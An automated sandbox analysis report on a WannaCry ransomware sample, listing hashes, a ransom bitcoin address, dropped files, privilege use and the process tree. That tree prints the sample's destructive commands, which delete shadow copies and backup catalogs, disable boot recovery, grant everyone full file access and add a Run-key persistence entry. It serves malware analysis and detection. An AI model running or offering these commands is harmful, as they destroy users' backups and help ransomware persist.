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210303-eg4g1z4wd2 10Analysis
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max time kernel
150s -
max time network
140s -
platform
windows10_x64 -
resource
win10v200410 -
submitted
17-04-2020 13:07
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v200410
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v200410
General
-
Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
-
Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@Please_Read_Me@.txt
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
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Executes dropped EXE 16 IoCs
Processes:
taskdl.exe@WanaDecryptor@.exe@WanaDecryptor@.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskhsvc.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exepid process 4024 taskdl.exe 3168 @WanaDecryptor@.exe 2612 @WanaDecryptor@.exe 3816 taskse.exe 3808 @WanaDecryptor@.exe 420 taskdl.exe 3740 taskhsvc.exe 3384 taskdl.exe 868 taskse.exe 1288 @WanaDecryptor@.exe 1852 taskse.exe 3968 @WanaDecryptor@.exe 3160 taskdl.exe 1564 taskse.exe 1672 @WanaDecryptor@.exe 2012 taskdl.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exepid process 3808 @WanaDecryptor@.exe 2612 @WanaDecryptor@.exe 3168 @WanaDecryptor@.exe 3808 @WanaDecryptor@.exe 2612 @WanaDecryptor@.exe 3168 @WanaDecryptor@.exe 1288 @WanaDecryptor@.exe 3968 @WanaDecryptor@.exe 1672 @WanaDecryptor@.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
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Modifies file permissions 1 TTPs 1 IoCs
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Modifies registry key 1 TTPs 1 IoCs
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Loads dropped DLL 8 IoCs
Processes:
taskhsvc.exepid process 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
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Drops startup file 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD9083.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD90A9.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe@WanaDecryptor@.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2136578390-2771164089-400866267-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-2136578390-2771164089-400866267-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" @WanaDecryptor@.exe -
Suspicious use of WriteProcessMemory 78 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execmd.execmd.execmd.exe@WanaDecryptor@.exe@WanaDecryptor@.execmd.exedescription pid process target process PID 3992 wrote to memory of 1920 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 3992 wrote to memory of 1920 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 3992 wrote to memory of 1920 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 3992 wrote to memory of 3684 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 3992 wrote to memory of 3684 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 3992 wrote to memory of 3684 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 3992 wrote to memory of 4024 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 4024 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 4024 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 3320 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 3320 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 3320 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3320 wrote to memory of 3816 3320 cmd.exe cscript.exe PID 3320 wrote to memory of 3816 3320 cmd.exe cscript.exe PID 3320 wrote to memory of 3816 3320 cmd.exe cscript.exe PID 3992 wrote to memory of 3168 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3168 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3168 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3692 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 3692 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 3692 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3692 wrote to memory of 2612 3692 cmd.exe @WanaDecryptor@.exe PID 3692 wrote to memory of 2612 3692 cmd.exe @WanaDecryptor@.exe PID 3692 wrote to memory of 2612 3692 cmd.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3816 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 3816 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 3816 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 3808 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3808 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3808 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 3392 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 3392 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 3392 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 3992 wrote to memory of 420 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 420 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 420 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3392 wrote to memory of 692 3392 cmd.exe reg.exe PID 3392 wrote to memory of 692 3392 cmd.exe reg.exe PID 3392 wrote to memory of 692 3392 cmd.exe reg.exe PID 3168 wrote to memory of 3740 3168 @WanaDecryptor@.exe taskhsvc.exe PID 3168 wrote to memory of 3740 3168 @WanaDecryptor@.exe taskhsvc.exe PID 3168 wrote to memory of 3740 3168 @WanaDecryptor@.exe taskhsvc.exe PID 2612 wrote to memory of 2192 2612 @WanaDecryptor@.exe cmd.exe PID 2612 wrote to memory of 2192 2612 @WanaDecryptor@.exe cmd.exe PID 2612 wrote to memory of 2192 2612 @WanaDecryptor@.exe cmd.exe PID 2192 wrote to memory of 3436 2192 cmd.exe vssadmin.exe PID 2192 wrote to memory of 3436 2192 cmd.exe vssadmin.exe PID 2192 wrote to memory of 3436 2192 cmd.exe vssadmin.exe PID 2192 wrote to memory of 3308 2192 cmd.exe WMIC.exe PID 2192 wrote to memory of 3308 2192 cmd.exe WMIC.exe PID 2192 wrote to memory of 3308 2192 cmd.exe WMIC.exe PID 3992 wrote to memory of 3384 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 3384 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 3384 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 3992 wrote to memory of 868 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 868 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 868 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 1288 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 1288 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 1288 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 3992 wrote to memory of 1852 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 1852 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 1852 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 3992 wrote to memory of 3968 3992 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe -
Suspicious use of AdjustPrivilegeToken 53 IoCs
Processes:
taskse.exevssvc.exeWMIC.exetaskse.exetaskse.exetaskse.exedescription pid process Token: SeTcbPrivilege 3816 taskse.exe Token: SeTcbPrivilege 3816 taskse.exe Token: SeBackupPrivilege 1056 vssvc.exe Token: SeRestorePrivilege 1056 vssvc.exe Token: SeAuditPrivilege 1056 vssvc.exe Token: SeIncreaseQuotaPrivilege 3308 WMIC.exe Token: SeSecurityPrivilege 3308 WMIC.exe Token: SeTakeOwnershipPrivilege 3308 WMIC.exe Token: SeLoadDriverPrivilege 3308 WMIC.exe Token: SeSystemProfilePrivilege 3308 WMIC.exe Token: SeSystemtimePrivilege 3308 WMIC.exe Token: SeProfSingleProcessPrivilege 3308 WMIC.exe Token: SeIncBasePriorityPrivilege 3308 WMIC.exe Token: SeCreatePagefilePrivilege 3308 WMIC.exe Token: SeBackupPrivilege 3308 WMIC.exe Token: SeRestorePrivilege 3308 WMIC.exe Token: SeShutdownPrivilege 3308 WMIC.exe Token: SeDebugPrivilege 3308 WMIC.exe Token: SeSystemEnvironmentPrivilege 3308 WMIC.exe Token: SeRemoteShutdownPrivilege 3308 WMIC.exe Token: SeUndockPrivilege 3308 WMIC.exe Token: SeManageVolumePrivilege 3308 WMIC.exe Token: 33 3308 WMIC.exe Token: 34 3308 WMIC.exe Token: 35 3308 WMIC.exe Token: 36 3308 WMIC.exe Token: SeIncreaseQuotaPrivilege 3308 WMIC.exe Token: SeSecurityPrivilege 3308 WMIC.exe Token: SeTakeOwnershipPrivilege 3308 WMIC.exe Token: SeLoadDriverPrivilege 3308 WMIC.exe Token: SeSystemProfilePrivilege 3308 WMIC.exe Token: SeSystemtimePrivilege 3308 WMIC.exe Token: SeProfSingleProcessPrivilege 3308 WMIC.exe Token: SeIncBasePriorityPrivilege 3308 WMIC.exe Token: SeCreatePagefilePrivilege 3308 WMIC.exe Token: SeBackupPrivilege 3308 WMIC.exe Token: SeRestorePrivilege 3308 WMIC.exe Token: SeShutdownPrivilege 3308 WMIC.exe Token: SeDebugPrivilege 3308 WMIC.exe Token: SeSystemEnvironmentPrivilege 3308 WMIC.exe Token: SeRemoteShutdownPrivilege 3308 WMIC.exe Token: SeUndockPrivilege 3308 WMIC.exe Token: SeManageVolumePrivilege 3308 WMIC.exe Token: 33 3308 WMIC.exe Token: 34 3308 WMIC.exe Token: 35 3308 WMIC.exe Token: 36 3308 WMIC.exe Token: SeTcbPrivilege 868 taskse.exe Token: SeTcbPrivilege 868 taskse.exe Token: SeTcbPrivilege 1852 taskse.exe Token: SeTcbPrivilege 1852 taskse.exe Token: SeTcbPrivilege 1564 taskse.exe Token: SeTcbPrivilege 1564 taskse.exe -
Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\xeoufghauxp624 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
taskhsvc.exepid process 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe 3740 taskhsvc.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 3436 vssadmin.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Drops startup file
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 228231587136783.bat2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe co2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @WanaDecryptor@.exe vs2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe vs3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Sets desktop wallpaper using registry
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xeoufghauxp624" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xeoufghauxp624" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Modifies registry key
- Adds Run entry to start application
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\0.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\00000000.res
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C:\Users\Admin\AppData\Local\Temp\1.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\10.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\11.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\12.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\13.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\14.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\15.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\16.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\17.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\18.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\19.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\2.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\20.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\21.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\22.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\228231587136783.bat
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C:\Users\Admin\AppData\Local\Temp\23.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\24.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\25.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\26.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe.lnk
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memory/3740-269-0x0000000003860000-0x0000000003861000-memory.dmpFilesize
4KB
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4KB
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4KB
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4KB
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memory/3740-70-0x0000000003860000-0x0000000003861000-memory.dmpFilesize
4KB
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memory/3740-103-0x0000000003860000-0x0000000003861000-memory.dmpFilesize
4KB
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4KB
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4KB
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4KB
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memory/3740-66-0x0000000003860000-0x0000000003861000-memory.dmpFilesize
4KB
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4KB
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4KB
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memory/3740-310-0x0000000003860000-0x0000000003861000-memory.dmpFilesize
4KB
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4KB
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4KB
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4KB
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4KB
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memory/3992-36-0x0000000010000000-0x0000000010010000-memory.dmpFilesize
64KB